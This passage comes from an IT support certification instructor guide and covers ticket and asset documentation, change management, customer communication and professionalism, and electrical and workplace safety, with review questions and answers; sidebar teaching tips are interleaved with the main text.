also record end-user or customer acceptance that the ticket can be closed.

At any point in the ticket life cycle, other agents, technicians, or managers may
need to decide something or continue a troubleshooting process using just
the information in the ticket. Tickets are likely to be reviewed and analyzed. It
is also possible that tickets will be forwarded to customers as a record of the
jobs performed. Consequently, it is important to use clear and concise written
communication to complete description and progress fields, with due regard for
spelling, grammar, and style.
• Clear means using plain language rather than jargon.

• Concise means using as few words as possible in short sentences. State the
minimum of fact and action required to describe the issue or process.

Incident Reports
For critical and major incidents, it may be appropriate to develop a more in-depth
incident report, also referred to as an after-action report (AAR) or as lessons
learned. An incident report solicits the opinions of users/customers, technicians,
managers, and stakeholders with some business or ownership interest in the
problem being investigated. The purpose of an incident report is to identify
underlying causes and recommend remediation steps or preventive measures to
mitigate the risk of a repeat of the issue.

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Asset Identification and Inventory

Show Asset management uses a catalog of hardware and software to implement life-cycle
Slide(s) policies and procedures for provisioning, maintaining, and decommissioning all the
Asset Identification systems that underpin IT services.
and Inventory It is crucial for an organization to have an inventory list of its tangible and intangible
assets and resources. The tangible inventory should include all hardware that is
Teaching
currently deployed as well as spare systems and components kept on hand in case
Tip
of component or system failure. The intangible asset inventory includes software
Discuss the licenses and data assets, such as intellectual property (IP).
importance of asset
management to
change management
Database Systems
and compliance
There are many software solutions available for tracking and managing inventory.
procedures.
An asset-management database system can be configured to store details such
as type, model, serial number, asset ID, location, user(s), value, and service
information. An inventory management suite can scan the network and use queries
to retrieve hardware and software configuration and monitoring data.

Lansweeper inventory management software. (Screenshot used with

permission from Lansweeper.)

Asset Tags and IDs

For an inventory database to work, each instance of an asset type must be defined
as a record with a unique ID. The physical hardware device must be tagged with
this ID so that it can be identified in the field. An asset tag can be affixed to a
device as a barcode label or radio frequency ID (RFID) sticker. Barcodes allow for
simpler scanning than numeric-only IDs. An RFID tag is a chip programmed with
asset data. When in range of a scanner, the chip powers up and signals the scanner.
The scanner alerts management software to update the device’s location. As well
as asset tracking, this allows the management software to track the location of the
device, making theft more difficult.

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Network Topology Diagrams

A diagram is the best way to show how assets are used in combination to deliver a
service. In particular, a network topology diagram shows how assets are linked as
nodes. A topology diagram can be used to model physical and logical relationships
at different levels of scale and detail.
In terms of the physical network topology, a schematic diagram shows the cabling
layout between hosts, wall ports, patch panels, and switch/router ports. Schematics
can also be used to represent the logical structure of the network in terms of
security zones, virtual LANs (VLANs), and Internet Protocol (IP) subnets.

It is better to create separate diagrams to represent physical and logical topologies.

Adding too much detail to a diagram reduces clarity.

Schematics can either be drawn manually by using a tool such as Microsoft Visio or
compiled automatically from network mapping software.

Asset Documentation
An asset procurement life cycle identifies discrete stages in the use of hardware and Show
software: Slide(s)
• Change procedures approve a request for a new or upgraded asset, taking Asset Documentation
account of impacts to business, operation, network, and existing devices.

• Procurement determines a budget and identifies a trusted supplier or vendor for

the asset.

• Deployment implements a procedure for installing the asset in a secure

configuration.

• Maintenance implements a procedure for monitoring and supporting the use of the
asset.

• Disposal implements a procedure for sanitizing any data remnants that might be
stored on the asset before reusing, selling, donating, recycling, or destroying the
asset.

Warranty and Licensing

Each asset record should include appropriate procurement documentation, such
as the invoice and warranty/support contract (along with appropriate contact
information). For software, it should record the licensing details with device/user
allocations and limits.

Assigned Users
Hardware assets such as workstations, laptops, smartphones, tablets, and software
licenses might be assigned to individual user accounts. Alternatively, assets
might be allocated to security groups representing business departments or job
roles. Shared-use assets, such as servers, routers, switches, and access points,
might be allocated to individual technicians or security groups for management
responsibility. This is better practice than sharing default administrator accounts.

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Support Documentation and Knowledge Base Articles

It is also useful to link an inventory record to appropriate troubleshooting and
support sources. At a minimum, this should include the product documentation/
setup guide plus a deployment checklist and secure configuration template.
It might be possible to cross-reference the inventory and ticket systems. This
allows incident and problem statistics to be associated with assets for analysis and
reporting. It also allows an agent to view a history of previous tickets associated
with an asset.
A knowledge base (KB) is a repository for articles that answer frequently asked
questions (FAQs) and document common or significant troubleshooting scenarios
and examples. Each inventory record could be tagged with a cross-reference
to an internal knowledge base to implement self-service support and to assist
technicians.
An asset notes field could be used to link to external knowledge base articles,
blog posts, and forum posts that are relevant to support. Be sure to take into
consideration who wrote the article and any verifiable credentials so you can
determine the legitimacy of the article content.

Change Management Concepts

Show Change management refers to policies and procedures that reduce the risk of
Slide(s) configuration changes causing service downtime. Change management is closely
Change Management related to configuration management.
Concepts
ITIL Configuration Management Model
Teaching
Tip IT Infrastructure Library (ITIL) is a popular documentation of good and best practice
activities and processes for delivering IT services. Under ITIL, configuration
You shouldn’t need
to spend a lot of time management is implemented using the following elements:
on this. Just make • Service assets are things, processes, or people who contribute to the delivery of
sure that students
recognize the an IT service.
terminology.
• A configuration item (CI) is an asset that requires specific management
procedures for it to be used to deliver the service.

• Configuration baselines are the settings that should be applied to the CI to

ensure secure and reliable operation.

• Performance baselines are metrics for expected performance to provide a basis

for comparison for ongoing monitoring of a CI.

The main difficulty in implementing a workable configuration management system

is in determining the level of detail that must be preserved. This is not only evident
in capturing the asset database and configuration baseline in the first place, but
also in managing moves, adds, and changes (MACs) within the organization’s
computing infrastructure.

Change Requests
A change request is generated when a fault needs to be fixed, new business needs
or processes are identified, or there is room for improvement in an existing SOP
or system. The need to change is often described either as reactive, where the
change is forced on the organization, or as proactive, where the need for change is
anticipated and initiated internally.

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In a formal change-management process, the need or reasons for change and the
procedure for implementing the change are captured in a request-for-change (RFC)
form and submitted for approval. Change-request documentation should include:
• Purpose of the change—This is the business case for making the change and
the benefits that will accrue. It might include an analysis of risks associated with
performing the change and risks that might be incurred through not performing
the requested change.

• Scope of the change—This is the number of devices, users, or customers that

will be affected by the change. Scope can also include costs and timescales. For a
complex project, it might include sub-tasks and stakeholders. Scope should also
include the factors by which the success or failure of the change can be judged.

Change Approval
When a change request has been drafted and submitted, it must go through an Show
approval process. Slide(s)
Change Approval
Change Board Approvals
If the change is normal or minor, approval might be granted by a supervisor or
department manager. Major changes are more likely to be managed as a dedicated
project and require approval through a Change Advisory Board (CAB). The role of
the CAB is to assess both the business case and the technical merits and risks of
the change plan. The CAB should include stakeholders for departments, users,
or customers who will be impacted by the change as well as those proposing it,
technicians who will be responsible for implementing it, and managers/directors
who can authorize the budget.

Risk Analysis
For the CAB to approve a change, it must be confident that risk analysis has identified
both things that could go wrong and positive enhancements (or mitigation of negative
effects) that will be made from completing the change. Risk analysis is a complex and
demanding skill, but in simple terms it involves two types of approach:
• Quantitative risk analysis calculates discrete values for the impact and likelihood
of each factor affecting the change proposal.

• Qualitative risk analysis seeks to identify and evaluate impact and likelihood
factors through previous experience and informed opinion to replace or
supplement metrics.

The outcome of risk analysis is the assignment of some risk level to the change
request. This could be expressed as a discrete value or as a traffic light–type of
indicator, where red is high risk, orange is moderate risk, and green is minimal
risk. If the change is approved despite a high level of risk, stakeholders must be
informed of these risks so that they can anticipate and react to them appropriately
as the change implementation project proceeds.

Test and Implement the Change Plan

When a change is approved, a responsible staff member is appointed to manage
implementation of the change.
The implementation of change must be carefully planned, with consideration of the
impact on affected systems. For most significant or major changes, organizations
should attempt to test the change first. This might involve sandbox testing in a
computing environment designed to replicate the production environment but
isolated from it.

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The change implementation in the production system should be scheduled at an

appropriate date and time to minimize risks of system downtime or other negative
impact on the workflow of the business units that depends on the IT system being
modified. Most organizations have a scheduled maintenance window period for
authorized downtime. Stakeholders should be notified in advance if there is risk of
downtime.
Every change should be accompanied by a rollback plan so that the change can be
reversed if it has harmful or unforeseen consequences.

End-user Acceptance
As well as the technical implementation, the change plan must account for end-user
acceptance. It can be difficult for people to adapt to new processes and easy for
them to magnify minor problems into major complaints of the “It worked before”
kind. There are three principal strategies for mitigating these risks:
• Change requests should be considered by stakeholders on the change board
who represent end-user and/or customer interests.

• A project that will have significant impact should incorporate user-acceptance

testing (UAT) to allow end-users to work with the updated system and suggest
improvements before release.

• Training and education resources must be available before the change is

initiated. The support team must be ready to deal with incidents arising from the
change as a priority.

Policy Documentation
Show An acceptable use policy (AUP) sets out what someone is allowed to use a
Slide(s) particular service or resource for. Such a policy might be used in different contexts.
Policy Documentation
For example, an AUP could be enforced by a business to govern how employees use
equipment and services such as telephone or Internet access provided to them at
work. Another example might be an ISP enforcing a fair use policy governing usage
of its Internet access services.
Enforcing an AUP is important to protect the organization from the security and
legal implications of employees (or customers) misusing its equipment. Typically,
the policy will forbid the use of equipment to defraud, defame, or to obtain illegal
material. It is also likely to prohibit the installation of unauthorized hardware
or software and to explicitly forbid actual or attempted intrusion (snooping). An
organization’s acceptable use policy may forbid use of Internet tools outside of
work-related duties or restrict such use to break times.
Further to AUPs, it may be necessary to implement regulatory compliance
requirements as logical controls or notices. For example, a splash screen might be
configured to show at login to remind users of data handling requirements or other
regulated use of a workstation or network app.

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Review Activity:
Best Practice Documentation
3

Answer the following questions: Show

Slide(s)
Review
1. You are writing a proposal to improve a company’s current support
Teaching
procedures with a ticketing system. You have identified the following
Tip
requirements for information that each ticket should capture. Following
Take some time at
the CompTIA A+ objectives, what additional field or data point should be
the end of each topic
captured? to answer questions.
You can use the
• User information review questions
for discussion in
• Device information class or set them for
students to complete
• Problem description/Progress notes/Problem resolution individually during or
after class.
• Categories

• Escalation levels

This list contains no means of recording the severity of the ticket. This field is
important for prioritizing issues.

2. What role do barcodes play in managing inventory?

An inventory is a list of assets stored as database records. You must be able to

correlate each physical device with an asset record by labeling it. A barcode label is
a good way of doing this.

3. What are the two main types of network topology diagrams?

You can create diagrams to show the physical topology or the logical topology. The
physical topology shows how nodes are connected by cabling. The logical topology
shows IP addresses and subnets/VLANs. There are lots of other types of network
topology diagrams, of course, but physical and logical are the two basic distinctions
you can make. It is best practice not to try to create a diagram that shows both as
this is likely to reduce clarity.

4. What is the purpose of a KB?

A knowledge base (KB) is a reference to assist with installing, configuring, and

troubleshooting hardware and software. KBs might be created by vendors to
support their products. A company might also create an internal KB, populated with
guidelines, procedures, information from service tickets, and answers to frequently
asked questions (FAQs).

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5. The contract ended recently for several workers who were hired
for a specific project. The IT department has not yet removed those
employees’ login accounts. It appears that one of the accounts has been
used to access the network, and a rootkit was installed on a server. You
immediately contact the agency the employee was hired through and
learn that the employee is out of the country, so it is unlikely that this
person caused the problem. What actions do you need to take?

You need to create an incident report, remove or disable the login accounts, isolate
the infected server and possibly any user computers that communicate with the
server, and remove the rootkit from the server. In terms of wider security policies,
investigate why the temporary accounts were not disabled on completion of the
project.

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Topic 20B
Use Proper Communication
Techniques
6

CORE 2 EXAM OBJECTIVES COVERED Show

4.7 Given a scenario, use proper communication techniques and professionalism. Slide(s)
Use Proper
Communication
Techniques
Working with customers is a fundamental job duty for every CompTIA A+ technician,
and in this context, you are a representative of your profession as well as your Teaching
company. How you conduct yourself will have a direct and significant impact on the Tip
satisfaction of your customers, and your level of professionalism and communication
Help students to
skills can directly affect whether you will do business with them again. understand how to
In this topic, you will identify best practices for PC technicians to use to apply communication
techniques to
communicate appropriately with clients and colleagues and to perform support present themselves
tasks with a high degree of professionalism. professionally in
support situations.
Professional Support Processes
From the point of first contact, the support process must reassure customers that Show
their inquiry will be handled efficiently. If the customer has already encountered a Slide(s)
problem with a product, to find that the support process is also faulty will double Professional Support
their poor impression of your company. Processes

Proper Documentation
Support contact information and hours of operation should be well advertised so
that the customer knows exactly how to open a ticket. The service should have
proper documentation so that the customer knows what to expect in terms of items
that are supported, how long incidents may take to resolve, when they can expect
an item to be replaced instead of repaired, and so on.

Set Expectations and Timeline

On receiving the request (whether it is a call, email, or face-to-face contact),
acknowledge the request and set expectations. For example, repeat the request
back to the customer, then state the next steps and establish a timeline; for
example, “I have assigned this problem to David Martin. If you don’t hear from us by
3 p.m., please call me.” The customer may have a complaint, a problem with some
equipment, or simply a request for information. It is important to clarify the nature
of these factors:
• The customer’s expectations of what will be done and when to fix the problem.

• The customer’s concerns about cost or the impact on business processes.

• Your constraints—time, parts, costs, contractual obligations, and so on.

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Meet Expectations and Timeline

If possible, the request should be resolved in one call. If this is not possible, the call
should be dealt with as quickly as possible and escalated to a senior support team
if a solution cannot be found promptly. What is important is that you drive problem
acceptance and resolution, either by working on a solution yourself or ensuring
that the problem is accepted by the assigned person or department. Open tickets
should be monitored and re-prioritized to ensure that they do not fail to meet the
agreed-upon service and performance levels.
It is imperative to manage the customer’s expectations of when the problem will
be resolved. Customers should not feel the need to call you to find out what’s
happening. This is irritating for them to do and means time is wasted dealing with
an unnecessary call.
A common problem when dealing with customer complaints is feeling that you
must defend every action of your company or department. If the customer makes
a true statement about your levels of service (or that of other employees), do not
try to think of a clever excuse or mitigating circumstance for the failing; you will
sound as though you do not care. If you have let a customer down, be accurate and
honest. Empathize with the customer, but identify a positive action to resolve the
situation:
“You’re right—I’m sorry the technician didn’t
turn up. I guarantee that a technician will be
with you by 3 p.m., and I’ll let my supervisor
know that you have had to call us. Shall I call
you back just after 3 to make sure that things
are OK?”

Repair and Replace Options

If there is a product issue that cannot be solved remotely, you might offer to repair
or replace the product:
• Repair—The customer will need clear instructions about how to pack and return
the item to a repair center along with a ticket-tracking number and returned-
merchandize authorization (RMA). The customer must be kept up to date on the
progress of the repair.

• Replace—Give the customer clear instructions for how the product will be
delivered or how it can be re-ordered and whether the broken product must be
returned.

Follow Up
If you have resolved the ticket and tested that the system is operating normally
again, you should give the customer a general indication of what caused the issue
and what you did to fix it along with assurance that the problem is now fixed and
unlikely to reoccur. Upon leaving or ending the call, thank the customer for their
time and assistance and show that you have appreciated the chance to solve
the issue.
It might be appropriate to arrange a follow-up call at a later date to verify that the
issue has not reoccurred and that the customer is satisfied with the assistance
provided. When the solution has been tested and verified and the customer has
expressed satisfaction with the resolution of the problem, log the ticket as closed.
Record the solution and send verification to the customer via email or phone call.

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Professional Support Delivery

Respect means that you treat others (and their property) as you would like to be Show
treated. Respect is one of the hallmarks of professionalism. Slide(s)
Professional Support
Be On Time Delivery

Ensure that you are on time for each in-person appointment or contact call. If it
becomes obvious that you are not going to be on time, inform the customer as
soon as possible. Be accountable for your actions, both before you arrive on site
and while on site. This means being honest and direct about delays, but make sure
this is done in a positive manner. For example:
“I’m sorry I’m late—show me this faulty PC, and
I’ll start work right away.”
“The printer needs a new fuser—and I’m afraid
that I don’t have this type with me. What I will
do is call the office and find out how quickly we
can get one...”
“I haven’t seen this problem before, but I have
taken some notes, and I’ll check this out as soon
as I get back to the office. I’ll give you a call
this afternoon—will that be OK?”

Avoid Distractions
A distraction is anything that interrupts you from the task of resolving the ticket.
Other than a genuinely critical incident taking priority, do not allow interruptions
when you are working at a customer’s site. Do not take calls from colleagues unless
they are work-related and urgent. Other than a genuine family emergency, do not
take personal calls or texts. Do not browse websites, play games, or respond to
posts on social media.
If you are speaking with a customer on the telephone, always ask their permission
before putting the call on hold or transferring the call.

Deal Appropriately with Confidential and Private Materials

You must also demonstrate respect for the customer’s property, including any
confidential or private data they might have stored on a PC or smartphone or
printed as a document:
• Do not open data files, email applications, contact managers, web pages that are
signed in to an account, or any other store of confidential or private information.
If any of these apps or files are open on the desktop, ask the customer to close
them before you start work.

• Similarly, if there are printed copies of confidential materials (bank statements

or personal letters, for instance) on or near a desk, do not look at them. Make
the customer aware of them, and allow time for them to be put away.

• Do not use any equipment or services such as PCs, printers, web access, or
phones for any purpose other than resolving the ticket.

• If you are making a site visit, keep the area in which you are working clean and
tidy and leave it as you found it.

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Professional Appearance
Show There are many things that contribute to the art of presentation. Your appearance
Slide(s) and attire, the words you use, and respecting cultural sensitivities are particularly
Professional important.
Appearance
Professional Appearance and Attire
When you visit a customer site, you must represent the professionalism of your
company in the way you are dressed and groomed. If you do not have a company
uniform, you must wear clothes that are suitable for the given environment or
circumstance:
• Formal attire means matching suit clothes in sober colors and with minimal
accessories or jewelry. Business formal is only usually required for initial client
meetings.

• Business casual means smart clothes. Notably, jeans, shorts and short skirts, and
T-shirts/vests are not smart workwear. Business casual is typically sufficient for
troubleshooting appointments.

Business casual can mean a wide range of smart clothes. (Image by goodluz © 123RF.com.)

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Using Proper Language

When you greet someone, you should be conscious of making a good first
impression. When you arrive on site, make eye contact, greet the customer, and
introduce yourself and your company. When you answer the phone, introduce
yourself and your department and offer assistance.
When you speak to a customer, you need to make sense. Obviously, you must be
factually accurate, but it is equally important that the customer understands what
you are saying. Not only does this show the customer that you are competent
but it also proves that you are in control of the situation and gives the customer
confidence in your abilities. You need to use clear and concise statements that
avoid jargon, abbreviations, acronyms, and other technical language that a user
might not understand. For example, compare the following scenarios:
“Looking at the TFT, can you tell me whether the
driver is signed?”
“Is a green check mark displayed on the icon?”
The first question depends on the user understanding what a TFT is, what a signed
driver might be, and knowing that a green check mark indicates one. The second
question gives you the same information without having to rely on the user’s
understanding.
While you do not have to speak very formally, avoid being over-familiar with
customers. Do not use slang phrases and do not use any language that may cause
any sort of offense. For example, you should greet a customer by saying “Hello” or
“Good morning” rather than “Hey!”

Cultural Sensitivity
Cultural sensitivity means being aware of customs and habits used by other people.
It is easy to associate culture simply with national elements, such as the difference
between the way Americans and Japanese greet one another. However, within each
nation there are many different cultures created by things such as social class,
business opportunities, leisure pursuits, and so on. For example, a person may
expect to be addressed by a professional title, such as “doctor” or “judge.” Other
people may be more comfortable speaking on a first-name basis. It is safer to start
on a formal basis and use more informal terms of address if the customer signals
that happier speaking that way.
You need to realize that though people may be influenced by several cultures,
their behavior is not determined by culture. Customer service and support require
consideration for other people. You cannot show this if you make stereotyped
assumptions about people’s cultural background without treating them as an individual.
Accent, dialect, and language are some of the crucial elements of cultural sensitivity.
These can make it hard for you to understand a customer and perhaps difficult for a
customer to understand you. When dealing with a language barrier, use questions,
summaries, and restatements to clarify customer statements. Consider using visual
aids or demonstrations rather than trying to explain something in words.
Also, different cultures define personal space differently, so be aware of how close
or far you are from the customer.

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Professional Communications
Show You must listen carefully to what is being said to you; it will give you clues to the
Slide(s) customer’s technical level, enabling you to pace and adapt your replies accordingly.
Professional
Communications Active Listening
Active listening is the skill of listening to an individual so that you give that person
your full attention and are not trying to argue with, comment on, or misinterpret
what they have said. With active listening, you make a conscious effort to keep
your attention focused on what the other person is saying, as opposed to being
distracted by thinking what your reply is going to be or by some background noise
or interruption. Some of the other techniques of active listening are to reflect
phrases used by the other person or to restate the issue and summarize what they
have said. This helps to reassure the other person that you have attended to what
has been said. You should also try to take notes of what the customer says so that
you have an accurate record.

Listening carefully will help you to get the most information from what a customer tells you.
(Image by goodluz © 123RF.com.)

Clarifying and Questioning Techniques

There will inevitably be a need to establish some technical facts with the customer.
This means directing the customer to answer your questions. There are two broad
types of questioning:
• Open-ended—A question that invites the other person to compose a response.
For example, “What seems to be the problem?” invites the customer to give an
opinion about what they think the problem is.

• Closed—A question that can only be answered with a “Yes” or “No” or that
requires some other fixed response. For example, “What error number is
displayed on the panel?” can only have one answer.

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The basic technique is start with open-ended questions. You may try to guide the
customer toward information that is most helpful. For example, “When you say
your printer is not working, what problem are you having—will it not switch on?”
However, be careful about assuming what the problem is and leading the customer
to simply affirming a guess. As the customer explains what they, you may be able to
perceive what the problem is. If so, do not assume anything too early. Ask pertinent
closed questions that clarify customer statements and prove or disprove your
perception. The customer may give you information that is vague or ambiguous.
Clarify the customer’s meaning by asking questions like, “What did the error
message say?” or “When you say the printout is dark, is there a faint image or is it
completely black?” or “Is the power LED on the printer lit?”
If a customer is not getting to the point or if you want to follow some specific steps,
take charge of the conversation by restating the issue and asking closed questions.
For example, consider this interaction:
“It’s been like this for ages now, and I’ve tried
pressing a key and moving the mouse, but nothing
happens.”
“What does the screen look like?”
“It’s dark. I thought the computer was just
resting, and I know in that circumstance I need
to press a key, but that’s not working and I
really need to get on with...”
In this example, the technician asks an open question that prompts the user to say
what they perceive to be the problem instead of relaying valuable troubleshooting
information to the technician. Compare with the following scenario:
“It’s been like this for ages now, and I’ve tried
pressing a key and moving the mouse, but nothing
happens.”
“OK, pressing a key should activate the monitor,
but since that isn’t happening, I’d like to
investigate something else first. Can you tell me
whether the light on the monitor is green?”
“I don’t see a green light. There’s a yellow
light though.”
Restating the issue and using a closed question allows the agent to start working
through a series of symptoms to try to diagnose the problem.
Do note that a long sequence of closed questions fired off rapidly may overwhelm
and confuse a customer. Do not try to force the pace. Establish the customer’s
technical level, and target the conversation accordingly.

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Difficult Situations
Show A difficult situation occurs when either you or the customer becomes or risks
Slide(s) becoming angry or upset. There are several techniques that you can use to defuse
Difficult Situations this type of tension.

It is better to think of the situation as difficult and to avoid characterizing the customer
as difficult. Do not personalize support issues.

Maintain a Positive Attitude

Understand that an angry customer is usually frustrated that things are not working
properly or feels let down. Perhaps a technician arrived late, and the customer is
already irritated. Or perhaps the customer has spent a large amount of money and
is now anxious that it has been wasted on a poor-quality product. Empathizing with
the customer is a good way to develop a positive relationship and show that you
want to resolve the problem. Saying you are sorry does not necessarily mean you
agree with what the customer is saying but rather that you just understand their
point of view.
“I’m sorry you’re having a problem with your
new PC. Let’s see what we can do to sort things
out...”
As part of maintaining a positive attitude and projecting confidence, avoid the
following situations:
• Arguing with the customer—Remain calm and only advance facts and practical
suggestions that will push the support case toward a resolution.

• Denying that a problem exists or dismissing its importance—If the customer

has taken it to the point of complaining, then clearly they feels that it is
important. Whether you consider the matter trivial is not the issue. Acknowledge
the customer’s statement about the problem, and demonstrate how it can be
resolved.

• Being judgmental—Do not assume that the customer lacks knowledge about
the system and is therefore causing the problem.

Collaborate to Focus on Solutions

It is never easy to talk to someone who is unreasonable, abusive, or shouting, but it
is important to be able to deal with these situations professionally.
1. Identify early signs that a customer is becoming angry—Indicators of
tension include a raised voice, speaking too quickly, interrupting, and so on.
Try to calm the situation down by using a low voice and soothing language
and focusing on positive actions.

2. Do not take complaints personally—Any anger expressed by the customer

toward you is not personal but rather a symptom of the customer’s frustration
or anxiety.

3. Let the customer explain the problem while you actively listen—Draw
out the facts, and use them as a positive action plan to drive the support case
forward.

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4. Hang up—Be guided by whatever policy your organization has in place, but in
general terms, if a customer is abusive or threatening, issue a caution to warn
them about this behavior. If the abuse continues, end the call or escalate it to
a manager. Make sure you explain and document your reasons.

Identify early signs that a customer is becoming angry. (Image by Wang Tom © 123RF.com.)

Do Not Post Experiences on Social Media

Everyone has bad days when they feel the need to get some difficult situation
off their chest. Find a colleague for a private face-to-face chat, but under no
circumstances should you ever disclose these types of experiences via social media
outlets. Remember that anything posted to social media is very hard to withdraw
and can cause unpredictable reactions.

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 706 | The Official CompTIA A+ Core 1 and Core 2 Instructor Guide (Exams 220-1101 and 220-1102)

Review Activity:
Proper Communication Techniques
7

Show Answer the following questions:

Slide(s)
Review

Teaching 1. When you arrive at a customer location to service a network printer, the
Tip user is upset because the printer is not working and therefore he cannot
Take some time at submit his reports on time. How should you approach this user?
the end of each topic
to answer questions. Demonstrate empathy with the customer’s situation, use active listening skills to
You can use the show that you understand the importance of the issue, and make the customer
review questions confident that you can help. Then use closed-questioning techniques to start to
for discussion in
class or set them for
diagnose the problem.
students to complete
individually during or 2. You are trying to troubleshoot a problem over the phone and need to
after class. get advice from your manager. How should you handle this with the
customer?

Advise the customer that you will put him or her on hold while you speak to
someone else, or arrange to call the customer back.

3. You are troubleshooting a print problem, which turned out to be caused

by user error. The user is not confident that the problem is solved and
wants more reassurance. You have already explained what the user was
doing wrong in some detail. What should you do?

Run through the print process step-by-step to show that it works. It is very
important to get a customer’s acceptance that a problem is closed.

4. You are working on the training documentation for help-desk agents.

What should you include for dealing with difficult situations?

Do not argue with customers and/or be defensive. Avoid dismissing customer

problems, and do not be judgmental. Try to calm the customer and move the
support call toward positive troubleshooting diagnosis and activity, emphasizing a
collaborative approach. Do not disclose experiences via social media outlets.

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Topic 20C
Use Common Safety and
Environmental Procedures
5

CORE 2 EXAM OBJECTIVES COVERED Show

4.4 Given a scenario, use common safety procedures. Slide(s)
4.5 Summarize environmental impacts and local environmental controls. Use Common Safety
and Environmental
Procedures
PC support tasks must be completed without causing physical injury to yourself
or others and without damaging the equipment that you are servicing. There are Teaching
several tools to use and operational procedures to follow to get the job done Tip
quickly, safely, and correctly.
Should you wish to
There is also the issue of environmental impacts on computer systems to consider. run Core 2 before
Computers need stable power supplies and are sensitive to excessive heat. As a Core 1, this topic also
provides a useful
CompTIA A+ technician, you must understand the use of controls to ensure the introduction to the
proper environmental conditions for IT systems. hardware side of
support.
Compliance with Regulations
When performing PC maintenance work, you may need to take account of Show
compliance with government regulations. Regulations that typically affect PC Slide(s)
maintenance or the installation of new equipment are: Compliance with
Regulations
• Health and safety laws—Keeping the workplace free from hazards.

• Building codes—Ensuring that fire prevention and electrical systems are intact
and safe.

• Environmental regulations—Disposing of waste correctly.

For example, in the United States, the most common safety regulations are those
issued by the federal government, such as the Occupational Safety and Health
Administration (OSHA), and state standards regarding employee safety.
While specific regulations may vary from country to country and state to state,
in general, employers are responsible for providing a safe and healthy working
environment for their employees. Employees have a responsibility to use
equipment in the workplace in accordance with the guidelines given to them and to
report any hazards. Employees should also not interfere with any safety systems,
including signs or warnings or devices such as firefighting equipment. Employees
should not introduce or install devices, equipment, or materials to the workplace
without authorization or without assessing the installation.

Electrical Safety
Electricity flows in a circuit. A circuit is made when conductors form a continuous Show
path between the positive and negative terminals of a power source. An electrical Slide(s)
circuit has the following properties: Electrical Safety
• Current is the amount of charge flowing through a conductor, measured in amps
(A or I).

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• Voltage is the potential difference between two points (often likened to pressure
in a water pipe) measured in volts (V).

• Resistance is degree of opposition to the current caused by characteristics of the

conductor, measured in ohms (Ω or R).

Electrical equipment can give a shock if it is broken, faulty, or installed incorrectly.

An electric shock can cause muscle spasms, severe burns, or even death.

Fuses
An electrical device must be fitted with a fuse appropriate to its maximum current,
such as 3A, 5A, or 13A. A fuse blows if there is a problem with the electrical supply,
breaking the circuit to the power source. If the fuse fitted is rated too low, it will
blow too easily; if the rating is too high, it may not blow when it should and will
allow too much current to pass through the device.

Take care with strip sockets. The total amperage of devices connected to the strip must
not exceed the strip's maximum load (typically 13 amps).

Equipment Grounding
Electrical equipment must be grounded. If there is a fault that causes metal parts
in the equipment to become live, a ground provides a path of least resistance for
the electrical current to flow away harmlessly. Devices such as PCs and printers
are connected to the building ground via the power plug. However, the large metal
equipment racks often used to house servers and network equipment must also be
grounded. Do not disconnect the ground wire. If it must be removed, make sure it is
replaced by a professional electrician.

Grounding terminals and wires. (Image by phadventure © 123RF.com.)

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Electrical currents can pass through metal and most liquids, so neither should be
allowed to come into contact with any electrical device installations. Damaged
components or cables are also a risk and should be replaced or isolated immediately.
It is important to test electrical devices regularly. The frequency will depend on the
environment in which the device is used. In some countries, portable appliance testing
(PAT) carried out by a qualified electrician or technician ensures that a device is safe
to use.

Proper Power Handling and Personal Safety

Whenever you add or replace components within a PC or laptop, the power must be
disconnected first. Remove the AC plug and also remove the battery if present. Hold
down the power button on the device to ensure the circuits are drained of residual
power.
PC power supply units can carry dangerously high levels of voltage. Charges held
in capacitors can persist for hours after the power supply is turned off. You should
not open these units unless you have been specifically trained to do so. Adhere to
all printed warnings, and never remove or break open any safety devices that carry
such a warning.

Never insert anything into the power supply fan to get it to rotate. This approach does
not work, and it is dangerous.

Electrical Fire Safety

Faulty electrical equipment can pose a fire risk. If the equipment allows more
current to flow through a cable than the cable is rated for, the cable will heat up.
This could ignite flammable material close to the cable. If an electrical wire does
start a fire, it is important to use the correct type of extinguisher to put it out. Many
extinguishers use water or foam, which can be dangerous if used near live electrical
equipment. The best type to use is a carbon dioxide (CO2) gas extinguisher. CO2
extinguishers typically have a black label but sometimes have a red or white label.
Dry powder extinguishers can also be used, though these can damage electronic
equipment.
You should also ensure that the electricity supply is turned off. This should happen
automatically (the fuses for the circuit should trip but may have failed), but make
sure you know the location of the power master switches for a building.

Other Safety Hazard Mitigations

In addition to electrical hazards, there are other safety hazards that computer Show
technicians must account for. Slide(s)
Other Safety Hazard
Trip Hazards Mitigations

A trip hazard is caused by putting any object in pathways where people walk.
• When installing equipment, ensure that cabling is secured, using cable ties or
cable management products if necessary. Check that cables running under a
desk cannot be kicked out by a user’s feet. Do not run cabling across walkways,
but if there is no option but to do so, use a cord protector to cover the cabling.

• When servicing equipment, do not leave devices (PC cases, for instance) in
walkways or near the edge of a desk (where they could be knocked off). Be
careful about putting down heavy or bulky equipment (ensure that it cannot
topple).

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Lifting Techniques
Lifting a heavy object in the wrong way can damage your back or cause muscle
strains and ligament damage. You may also drop the object and injure yourself or
damage the object. When you need to lift or carry items, be aware of the maximum
safe lifting weight as well as any restrictions and guidance set out in your job
description or site safety handbook. To lift a heavy object safely:
1. Plant your feet around the object with one foot slightly toward the direction in
which you are going to move.

2. Bend your knees to reach the object while keeping your back as straight and
comfortable as possible and your chin up.

3. Find a firm grip on the object, and then lift smoothly by straightening your
legs—do not jerk the object up.

4. Carry the object while keeping your back straight.

5. To lower an object, reverse the lifting process; keep your chin up and bend at
the knees. Take care not to trap your fingers or to lower the object onto your
feet.

If you cannot lift an object because it is too awkward or heavy, then get help from
a coworker or use a cart to relocate the equipment. If you use a cart, make sure
the equipment is tightly secured during transport. Do not stack loose items on a
cart. If you need to carry an object for some distance, make sure that the route is
unobstructed and that the pathway (including stairs or doorways) is wide and tall
enough.

Safety Goggles and Masks

If necessary, you should obtain protective clothing for handling equipment and
materials that can be hazardous:
• Use gloves and safety goggles to minimize any risk of burns from corrosive
materials such as broken batteries, cell phones, and tablets or irritation from
particles such as toner or dust.

• When you are using a compressed air canister, working around toner spills, or
working in a dusty environment, use an air-filter mask that fits over your mouth
and nose. People who suffer from asthma or bronchitis should avoid changing
toner cartridges where possible.

Environmental Impacts
Show The location in which computer equipment is placed can affect its proper operation
Slide(s) and lifespan. All electronic equipment should be kept away from extremes of
Environmental temperature and damp or dusty conditions.
Impacts
Dust Cleanup
Dust is drawn into the computer via ventilation holes. Over time, the dust can form a
thick layer over components, heat sinks, fan blades, and ventilation slots, preventing
